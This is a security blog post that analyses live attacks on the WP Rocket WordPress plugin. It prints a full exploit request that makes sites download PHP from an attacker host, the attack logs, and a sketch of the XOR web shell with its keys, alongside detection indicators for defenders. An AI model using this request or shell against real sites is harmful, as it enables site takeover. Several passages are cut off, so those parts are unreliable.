WordPress Plugin WP Rocket CVE-2026-125812: Exploits in the Wild, Dissected
Comments
WP Rocket's CVE-2026-125812 is being exploited in the wild, and there is still very little public information on how the attacks actually work. The advisories say what to update and which folders to check, but not what an attack request looks like or what it leaves behind.
We are seeing these attacks across our network, so we took a few real examples apart: the requests, the payload the attacker made the site download, the backdoors it installs and what the attackers did next.
The vulnerability in one paragraph
WP Rocket runs a small script in each visitor's browser that measures the page and reports the results to /wp-admin/admin-ajax.php with action=rocket_beacon. WP Rocket then uses the URLs in that report to optimize the page, which includes downloading some of them and saving them on the server.
Before version 3.24.2 it didn't check those URLs strictly enough, so anyone can report a URL pointing to a PHP file on their own server, and WP Rocket will save it on the site as a PHP file. It affects WP Rocket 3.15 through 3.24.1 with LazyLoad for CSS background images or Self-host Google Fonts turned on. It was fixed in 3.24.2 on November 19, 2026, and Patchstack saw the first attack on November 25.
Step 1: recon, two ways
Before the exploit, attackers check whether the site's beacon is active. We saw two styles.
The first one asks about the site itself:
POST /wp-admin/admin-ajax.php action=rocket_check_beacon&rocket_beacon_nonce=aaabbbccc&url=https:// &is_mobile=true
rocket_check_beacon is the request WP Rocket's script makes to ask "do you want measurements for this page?". A positive answer tells the attacker the optimization features are on, which is what makes the site exploitable. This one came from 23.234.79.110, seconds before the real attack on the same site.
The second style, from 109.107.178.102, never reveals the attacker's server:
action=rocket_check_beacon&url=https://47x.invalid/1234567&rocket_beacon_nonce=aabbcc&is_mobile=false
.invalid is a top-level domain reserved so that it never resolves, and the 1234567 is a Unix timestamp in milliseconds in the URL showing the exact moment of the probe. The scanner learns how the site handles a foreign URL without touching any real server, and the timestamp lets it match the answer to the request later. This is likely the probe Patchstack describes as "checking whether a site is vulnerable without revealing their own server".
Note that both requests carry a valid rocket_beacon_nonce. That value is printed in every page WP Rocket serves, so the scanner simply loads a page first and copies it. The nonce doesn't protect anything here.
Step 2: the exploit request
This is the attack request we captured, URL-decoded:
POST /wp-admin/admin-ajax.php action = rocket_beacon rocket_beacon_nonce = abc123 url = https:// is_mobile = true status = success results = {"preconnect_external_domain": ["https://shoelifer.com/js.php?rel=stylesheet", "https://shoelifer.com/image.php?rel=stylesheet", "https://shoelifer.com/cache.php?rel=stylesheet", "https://shoelifer.com/css.php?rel=stylesheet", "https://shoelifer.com/css.css.php?rel=stylesheet"]}
The whole exploit is in the results field:
- A real beacon lists outside origins there, like
https://fonts.googleapis.com, plus images and CSS backgrounds. - The attack lists full URLs to
.phpfiles on the attacker's server, with?rel=stylesheetadded so they look like stylesheets. - Five names for the same file:
js.php,image.php,cache.php,css.phpandcss.css.php. Whichever one the site's configuration accepts and saves, the attacker can use.
It is also easy to tell apart from a real beacon. Real beacons are sent by the browser as multipart/form-data, one field per part. The attack is a plain URL-encoded form, and its JSON has a space after every colon and comma (": [", ", "), the default output of Python's json.dumps. A browser's JSON.stringify never adds those spaces. This is a script, not a browser.
Step 3: trigger the download, then run the file
Right after the beacon, the same IP went into a loop. Trimmed from our edge logs (UTC):
13:49:59 POST /wp-admin/admin-ajax.php 20013:50:00 GET /13:50:00 GET /wp-content/cache/background-css/3/shoelifer.com/js.php13:50:01 GET /wp-content/cache/background-css/3/shoelifer.com/image.php13:50:01 GET /wp-content/cache/background-css/3/shoelifer.com/cache.php13:50:02 GET /wp-content/cache/background-css/3/shoelifer.com/css.css.php13:50:02 GET /wp-content/cache/background-css/3/shoelifer.com/css.php13:50:04 GET /?s=zyx12313:50:04 GET /wp-content/cache/background-css/3/shoelifer.com/js.php ...13:50:08 GET /?s=zyx123 ...13:50:12 GET /?s=zyx123
This shows how the attack works end to end:
- Where WP Rocket saves the file. The path is built from the attacker's URL:
wp-content/cache/background-css/ / /. The site ID is 1 outside multisite, the attacker's host becomes a folder, and the file name is kept,.phpincluded. - Why the page loads. WP Rocket processes the reported URLs when it builds the optimized page, so the attacker loads pages to make that happen. The search parameter,
?s=zyx123,...d3,...d4, is a counter that makes every request a new URL, so no cached copy is served and the site has to build the page again. "wpra" looks like the tool's own tag. - Why it requests the
.phpfiles. Saving the file isn't enough: someone has to request it for PHP to run it. The attacker checks every candidate name, every two to four seconds, until one answers.
The advisories also classify this bug as path traversal (CWE-22). Since the remote path is copied into the local one, a URL with ../ in it climbs out of the cache folder. That's how other campaigns put files directly into wp-content/, wp-content/uploads/ or wp-content/wp-rocket-config/, under names like wp-media-*.php. In the requests we captured, the attacker didn't use traversal: the default cache path was enough.
Step 4: what the downloaded file does
We downloaded the attacker's js.php the same way WP Rocket would, from an isolated machine, and saved it as text without running it. It starts with a line of real CSS, so that anything checking the content sees a stylesheet:
body{background:url(https://shoelifer.com/bg.png)} |679 on success, or FAIL|no-docroot / FAIL|wp-content-index .
- Delete itself, and a
.jsonfile with the same name, so the cache folder looks clean afterwards.
The file names are chosen to blend in. index.php exists in those folders on every WordPress site, woo.php sounds like WooCommerce, and wp-rocket-helper.php sounds like part of the plugin that was just exploited.
Backdoor 1: a web shell hidden in a phar archive
The $b payload is 679 bytes. Its first line is all that is visible in a text editor:
The file is a valid phar archive (PHP's own archive format) that includes itself. __HALT_COMPILER() tells PHP to stop reading, and everything after it is the archive's binary data, containing one file, x, with the real code. A quick look or a search for common shell code on the file shows nothing, since the code sits inside the archive.
Decoded, x is a shell in the style of the well-known Weevely backdoor:
$k = "d12300d8"; // XOR key$kh = "8170dc3f3827"; // start marker$kf = "473c85bf911d"; // end marker$p = "XQRD54LmmrRcZ8CT"; // response prefixif (preg_match("/$kh(.+)$kf/", file_get_contents("php://input"), $m) == 1) { // base64 decode, XOR with $k, gzuncompress, eval // then send the output back the same way, wrapped in $p$kh ... $kf }
It runs PHP code sent in the body of a POST, between the two markers, XOR-encrypted and compressed, and sends back the output the same way. A GET request, or any POST without the markers, gets an empty page, so the shell looks exactly like the empty index.php it replaced. Only someone with the key can tell it's there.
Backdoor 2: a file manager with "Login as admin"
The $s payload, saved as wp-content/wp-rocket-helper.php, is about 11 KB of PHP: a full control panel that loads WordPress and titles itself "case-task". It's password protected. The password goes in a parameter named wpnonce, so it looks like a normal WordPress security token in logs, and is checked with WordPress's own wp_check_password against a hard-coded hash. Anyone else is quietly redirected to the home page.
Once in, it can:
- browse the whole server, not just the site's folder
- upload files, and upload and extract zip archives
- download any file, including
wp-config.phpwith the database password - delete (recursively) and rename files
- log in as the first administrator with one button, by setting that user's WordPress login cookie. No password needed, and no new user that an owner would notice.
That last feature matters for cleanup. Removing a new admin user is a common step after a hack, but this attacker never needs one. As long as the panel exists, they can enter the dashboard as the real administrator.
Step 5: using the shell, and other attackers looking for it
Hours after the first attempt, the same IP, 23.234.79.110, came back and sent shell commands, with the markers, as POSTs to /wp-content/ and /wp-content/themes/. These are folder addresses: the web server answers them with the folder's index.php, which is exactly where the shell was installed. A rule that only watches for the file name index.php misses them. An attacker only sends commands when they think the shell is there, so this is worth knowing: in this case they believed the infection had worked.
The attacker who plants a backdoor is not the only one looking for it. Across our network over the last two days we also saw:
- Hunting for other campaigns' files. A group of Oracle Cloud addresses (
129.221.248.33,130.210.39.209,129.221.193.184,92.4.88.251and others) requested/wp-content/wp-rocket-config/chosen.php142 times on about 120 sites in under 30 hours.wp-rocket-config/is one of the folders the path traversal reaches, so this is a scanner checking which sites already carry a backdoor planted by an earlier attack. - Checking for this shell. Azure addresses (
172.190.1.88,172.177.2.189,52.152.220.41and others) requested/wp-content/index.phpon dozens of sites, and some asked for/al.php. - Reading the file through another bug.
54.227.18.173used the Media Library Assistant plugin's file download bug (mla-file-downloader.php?mla_download_file=/var/www/html/wp-content/index.php) to readwp-content/index.phpinstead of running it: a way to see whether the shell is there without triggering it.
Once a backdoor is known, any attacker who finds it can use it. A site infected by one campaign quickly becomes a target for the others.
How to check your site
If your site ran WP Rocket below 3.24.2 with LazyLoad for CSS background images or Self-host Google Fonts turned on, check:
wp-content/index.php and wp-content/themes/index.php: each should be a single line, `| | Backdoor hunting | 129.221.248.33, 130.210.39.209, 129.221.193.184, 92.4.88.251, 172.190.1.88, 172.177.2.189, 52.152.220.41, 54.227.18.173 | | Web shell markers | 8170dc3f3827 , 473c85bf911d , XOR key d12300d8 , response prefix XQRD54LmmrRcZ8CT | | File manager | wp-rocket-helper.php , title "case-task", password in wpnonce , hash a574cf55ed6f4e9f0bb85ce2ace7889d | | Dropped files | wp-content/index.php , wp-content/themes/index.php , woo.php , al.php , info.php , wp-content/wp-rocket-helper.php | | Tool fingerprints | URL-encoded (not multipart) rocket_beacon with Python-style JSON spacing; page loads with ?s=wpra | Protection on NOC Sites behind NOC are protected by virtual patching rules for this campaign. Still, if you are using WP Rocket, please update asap.
Comments
No comments yet. Start the discussion.